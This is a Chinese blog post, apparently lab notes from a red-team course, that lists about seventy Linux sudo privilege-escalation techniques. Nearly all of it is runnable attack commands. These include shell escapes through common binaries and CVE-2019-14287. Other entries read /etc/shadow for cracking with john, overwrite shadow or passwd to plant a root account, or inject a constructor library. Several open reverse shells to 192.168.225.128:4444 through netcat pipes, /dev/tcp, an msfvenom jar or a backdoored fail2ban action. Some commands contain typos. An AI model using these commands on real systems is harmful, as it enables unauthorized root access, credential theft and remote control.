自学内容网 自学内容网

Linux提权sudo篇

linux提权

根据红队笔记的视频整理出来的文档,原视频链接:Linux提权精讲-sudo风暴

  • 参考文档:GTEOBins
    • 使用系统自带可执行文件绕过本地安全限制的文档

01. CVE-2019-14287

  1. 使用场景

    sudo -l
    显示(ALL,!root)NOPASSWORD:/bin/bash
    
  2. 如何利用

    sudo -u#-1 /bin/bash
    # sudo -u用于切换用户,后面#uid也可切换到对应身份,-1会被解释为0,实现提权
    
  3. 使用限制

    适用于sudo版本低于1.8.28的情况

    sudo -V | grep version # 查看sudo的版本
    

02. sudo apt

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
  • apt-get与此利用方法相同

03. sudo apach2

sudo apache2 -f /etc/shadow

可以获得root用户的哈希值,然后用john进行破解

sudo john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

04. sudo ash

ash 是一种轻量级的 Unix Shell,通常用作嵌入式系统的默认 Shell。

sudo ash # 直接用这条命令即可提权
bash# 进入交互界面,方便查看

05. sudo awk

sudo awk 'BEGIN{system("/bin/bash")}'

06. sudo base64

cat /etc/shadow # 提示没有权限

将变量加密后再解密

test=/etc/shadow
sudo base64 "$test" | base64 -d # 发现shadow文件的内容被显示出来

将root的一行的hash值复制下来保存到shadow_root.txt,利用john来破解密码

john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

若破解成功,可以直接通过su输入root密码切换到root用户

07. sudo bash

直接提取

sudo bash

08.sudo cp

生成明文密码hash

mkpasswd -m sha-512 123456
  • -m指定加密方式sha-12是linux默认的hash保存方式
  • 生成123456的hash

查看shadow中hash的格式

sudo cat /etc/shadow | gerp root

将root对应的hash替换为生成的hash,并保存到shadow_entry.txt文件

root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::

利用过程

test=/etc/shadow
TF=$(mktemp) # 指向生成的临时文件
echo 'root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::' > $TF
echo $TF
cat /tmp/tmp.rsajeo
sudo /usr/bin/cp $TF $test # 注意这个操作会将原来的shadow文件覆盖掉,不备份的话无法恢复
su # 密码123456

09.sudo cpulimit

sudo cpulimit -l 100 -f /bin/bash
  • -l cpu使用率

10.sudo curl

mkpasswd -m sha-512 123456
sudo cat /etc/shadow | gerp root

将hash值替换为我们生成的hash,保存到shadow_entry

制作一个简易的web服务器,开放80端口

sudo php -S 0:80

在靶机中执行以下命令

sudo curl http://192.168.225.128/shadow_entry -o /etc/shadow
  • curl访问
  • -o保存到etc/shadow(会覆盖文件,有损,最后提前备份)

11.sudo date

sudo date -f /etc/shadow
  • -f从指定文件中读取日期,指定为shadow文件会因报错泄露信息

将root的hash保存到shadow_root,使用john进行破解

sudo john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

若破解不成功则无法使用该方法提权

12.sudo dd

mkpasswd -m sha-512 123456

按照shadow的保存形式生成一条数据

sudo cata /ect/shadow | grep root

用生成的hash替换原有的root的密码并将其保存在shadow_root.txt

root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::

回到靶机中,echo刚刚生成的数据用dd给到etc

echo 'root:$6$71zZsMmGf/fbratq$1nAOA7a694iZHf3qVamD1yUY6xFebUtU2mSvRBzsOe4UfHTXXGL0Jk88.K2V6CJVz5Q7YmoX8dwY3aGyEpo5K1:19871:0:99999:7:::' | sudo dd of=/etc/shadow

会覆盖原shadow文件,最好先备份

13.sudo dstat

查找dstat的目录

find / -name dstat -type d 2>/dev/null
  • type d指定查找的类型问目录
  • 2>/dev/null:将错误信息扔掉

列出插件目录

ls /usr/share/dstat

构造一个提权的py文件

vim dstat_testword.py

写入提权的语法

import os;os.execv("/bin/bash",["bash"])

将py文件cp到dstat的插件目录

cp dstat_testword.py /usr/share/dstat/dstat_testword.py

执行插件

sudo dstat --testword

14. sudo ed

进入到编辑器

sudo /usr/bin/ed

执行bash

!/bin/bash

15.sudo env

sudo env /bin/bash

16.exiftool

本地提权利用逻辑:exploit-db中编号为50911

编辑一个payload

vi payload

写入原数据

(metadata "\c${system('/bin/bash')};")

bzz进行压缩

bzz payload payload.bzz

djvumake生成一个利用文件

djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

exiftool执行

sudo exiftool exploit.djvu

17.sudo expect

sudo expect -c "spawn /bin/bash;interact"

18.sudo fail2ban

查找目录

find / -name "fail2ban*" -type d 2>/dev/null

查找可写的目录(action.d)

find /etc -writeable -type d 2>/dev/null

查看fail2ban的配置文件,查看最大尝试次数maxretry

cd /etc/fail2ban/
vim jail.conf

定义action的行为

cd /etc/fail2ban/action.d/
ls

iptables-multiport.conf定义了尝试次数超过原定次数时候的处理方式,查看文件的权限

ls -liah iptables-multiport.conf

如果文件可写的话

先备份文件

mv iptables-mutiport.conf iptables-multiport.conf.bak
cp iptables-multiport.conf.bak iptables-mutiport.conf

查看文件的属性

ls -liah iptables-mutiport.conf

发现文件的所属者为当前用户jack

修改文件,将参数actionban修改成提权逻辑

actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.225.128 4444 > tmp/f

重启让action生效

sudo /etc/init.d/fail2ban restart

回到kali进行监听

sudo nc -lvp 4444

重新启动一个会话连接靶机,多次随便输入错误密码

sudo ssh jack@192.168.225.144

获得反弹shell

19.sudo find

sudo find . -exec /bin/bash \; -quit

20.sudo flock

flock -u 解锁对应目录文件并允许被执行

sudo flock -u / /bin/bash

21.sudo ftp

sudo ftp
!/bin/bash

22.sudo gcc

sudo gcc -wrapper /bin/bash,-s .

23.sudo gdb

sudo gdb -nx -ex '!bash' -ex quit

24.sudo git

查看帮助

sudo git branch --help
!/bin/bash

25.sudo gzip/gunzip

将shadow文件压缩

sudo gzip -f /etc/shadow -t
  • -f强制执行
  • -t尝试读取

执行后会获得shadow存储的数据,将root的数据存放在shadow_root,然后使用john进行破解

john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

26.sudo hping3

hping3用于分析网络环境,生成数据包

sudo hping3

启动系统命令提取

/bin/bash

27.sudo iftop

iftop是命令行网络流量监控工具,用于实时显示网络接口带宽使用情况

sudo iftop

输入!告诉应用开始执行系统命令

/bin/bash

28.sudo java

生成反弹shell

sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.225.128 LPORT=4444 -f jar -o shell.jar

建立简易web服务器用于传递shell文件

sudo php -S 0:80

在本地建立监听

nc -lvp 4444

回到靶机,切换到/tmp目录

wget http://192.168.225.128/shell.jar

给文件赋予执行权限

chmod +x shell.jar

执行文件

sudo java -jar shell.jar

获得反弹shell,查看是否安装python/python3

which python
which python3

创建交互性界面

python -c "import pty;pty.spawn('/bin/bash')"

29.sudo jjs

echo "Java.type('java.lang.Runtime').getRuntime().exec(["/bin/bash","-c",'exec 5<>/dev/tcp/192.168.225.128/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done'].waitFor()" | sudo jjs

建立监听

nc -lvp 4444

创建交互界面

python -c "import pty;pty.spawn('/bin/bash')"

如果报错的话还可以通过以下方法建立交互界面

  1. 重启一个终端用于监听端口

    nc -lvp 4444
    
  2. 靶机直接连接

    nc 192.168.225.128 -e /bin/bash
    

如果不行的话执行:

bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.225.128 4444 >/tmp/f

30.sudo journalctl

journalctl用于管理系统日志

sudo journalctl
!/bin/bash

31.sudo knife

sudo knife exec -E 'exec "/bin/bash"'

32.sudo less

mktmp生成当前目录下的临时文件

mktmp ./XXXXX

假如临时文件名为./dahai

sudo  less dahai

执行系统命令

!/bin/bash

33.sudo man

sudo man ls

执行系统命令

!/bin/bash

34.sudo more

mktmp ./XXXXX

假如生成的文件为./asjds,先生成一个文件重定向到asjds

yes ttest > asjds

查看文件属性

ls -liah asjds

发现文件很大,取文件的前五十个数据放在asjds_small中

head -n 50 asjds > asjds_small

查看文件大小

cat asjds_small | wc -l

执行more命令

sudo more asjds_small

!告诉界面开始执行系统命令

!/bin/bash

35.sudo mount

mout用于挂在文件系统

sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount

36.sudo mysql

sudo mysql -e '\!/bin/bash'

37.sudo nano

sudo nano

ctrl+R读取文件,然后执行ctrl+X执行命令

reset;bash 1>&0 2>&0

显示上可能会有问题,用几次回车

38.sudo neofetch

neofetch用于显示配置信息、系统信息等

生成一个临时文件

ttest=$(mktemp)

将提取逻辑写入文件

echo 'exec /bin/bash' > $ttest

执行neofetch将刚才的临时文件引入进来

sudo neofetch --config $ttest

39.sudo nice

nice用于修改进程的优先级

sudo nice /bin/bash

40.sudo nmap

声明一个变量指向临时文件

ttest=$(mktemp)

写入提权逻辑

echo 'os.execute("/bin/bash")' > $ttest

namp将脚本引入进来

sudo namp --script=$ttest

41.sudo node

sudo node -e "requrie('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"

42.sudo nohup

sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

43.sudo openvpn

sudo openvpn --config /etc/shadow

报错信息会将shadow的第一行显示出来,将其保存在shadow_root文件中,然后用john进行破解

john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

44.sudo passwd

修改root的密码为123456

sudo passwd root

su输入密码123456切换

45.sudo perl

sudo perl -e 'exec "/bin/bash";'

46.sudo php

sudo php -r "system('/bin/bash');"

47.sudo pico

pico是跟nano相似的文本编辑器

sudo pico

按ctrl+R然后ctrl+X

reset;bash 1>&0 2>&0

48.sudo pkexec

sudo pkexec /bin/bash

49.sudo python3

sudo python3 -c "import os;os.system('/bin/bash')"

50.sudo rvim

sudo rvim -c ':python import os;os.execl("/bin/bash","-c","reset;exec bash")'

51.sudo scp

生成一个临时文件

ttest=$(mktemp)

写入提权逻辑

echo 'bash 0<&2 1<&2' > ttest

赋予执行权限

chmod +x "$ttest"

执行scp

sudo scp -S $ttest x y:

52.sudo screen

screen是一个终端复用工具

sudo screen

按回车结束

53.sudo script

script用于启动一个新的shell会话,然后记录所有的shell命令

如果单纯的用于提权(会留下记录)

sudo script

在渗透测试中如何提权

sudo script -q /dev/null

54.sudo sed

sed是一个文本处理工具,用于对文本进行读取和处理

sudo sed -n '1e exec bash 1>&0' /etc/hosts

55.sudo service

service用于管理linux中的系统服务,可以将可执行文件作为服务启动

sudo service ../../bin/bash

56.sudo socat

socat用于建立双向的数据传输通道,可以用stdin作为标准输入执行命令

sudo socat stdin exec:/bin/bash

交互性不是很好,查看是否安装python/python3

which python 
which python3

建立交互界面

python -c "import pty;pty.spawn('/bin/bash')"

57.sudo ssh

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

58.sudo ssh-keygen

将提权逻辑写入动态链接库

vim ttest.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void inject()__attribute__((constructor));

void inject(){
setuid(0);
system("/bin/bash -p");
}

编译库

gcc -shared -fPIC -o ttest.so ttest.c

提权

sudo ssh-keygen -D ./ttest.so

59.sudo strace

strace用于追踪另一个进程的系统调用

sudo strace -o /dev/null /bin/bash

60.sudo systemctl

systemctl用于启动停止查看系统服务等

sudo systemctl

!执行系统命令

!/bin/bash

61.sudo tcpdump

tcpdump用于监听捕获网络流量

vim ttest.sh

写入提权逻辑

mknod ttest_pipe p  && /bin/nc 192.168.225.128 4444 0<ttest_pipe | /bin/bash 1>ttest_pipe 

设置监听

nc -lvp 4444

赋予文件执行权限

chmod +x ttest.sh

查看文件属性

ls -liah ttest.sh

执行

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /home/user/ttest.sh -Z root

创建交互性界面

python -c "import pty;pty.spawn('/bin/bash')"

62.sudo tee

tee将输入中读取的数据写入文件且输出到标准输出

在kali中用openssl生成hash

openssl passwd -1 -salt ttest '123456'

利用linux中passwd的组成形式构造一条数据

ttest:$1$ttest$OZMFYfKxWVVzhi3niiXDj.:0:0:root:/root:/usr/bin/bash

回到靶机,将构造的数据追加到passwd

echo 'ttest:$1$ttest$OZMFYfKxWVVzhi3niiXDj.:0:0:root:/root:/usr/bin/bash' | sudo tee -a /etc/passwd
su ttest

63.sudo timedatectl

sudo timedatectl list-timezones
!/bin/bash

64.sudo tmux

sudo tmux

65.sudo vi

sudo vi -c ':!/bin/bash' /dev/null

66.sudo wall

sudo wall --no /etc/shadow

将root数据存储在shadow_root,并使用john进行破解

john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

67.sudo watch

sudo watch -x bash -c 'reset;exec bash 1>&0 2>&0'

68.sudo wget

生成一个临时文件

ttest=$(mktemp)

赋予执行权限

chmod +x $ttest

写入提权逻辑

echo -e '#!/bin/bash\n/bin/bash 1>&0' > $ttest
sudo wget --use-askpass=$ttest 0

69.sudo zip

sudo zip foo /etc/hostname -T -TT 'bash #'

70.sudo xxd

xxd用于将二进制转换成十六进制或反向操作

sudo xxd /etc/shadow | xxd -r

将root的数据保存到shadow_root,并使用john进行破解

john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt

原文地址:https://blog.csdn.net/weixin_70059007/article/details/143823676

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!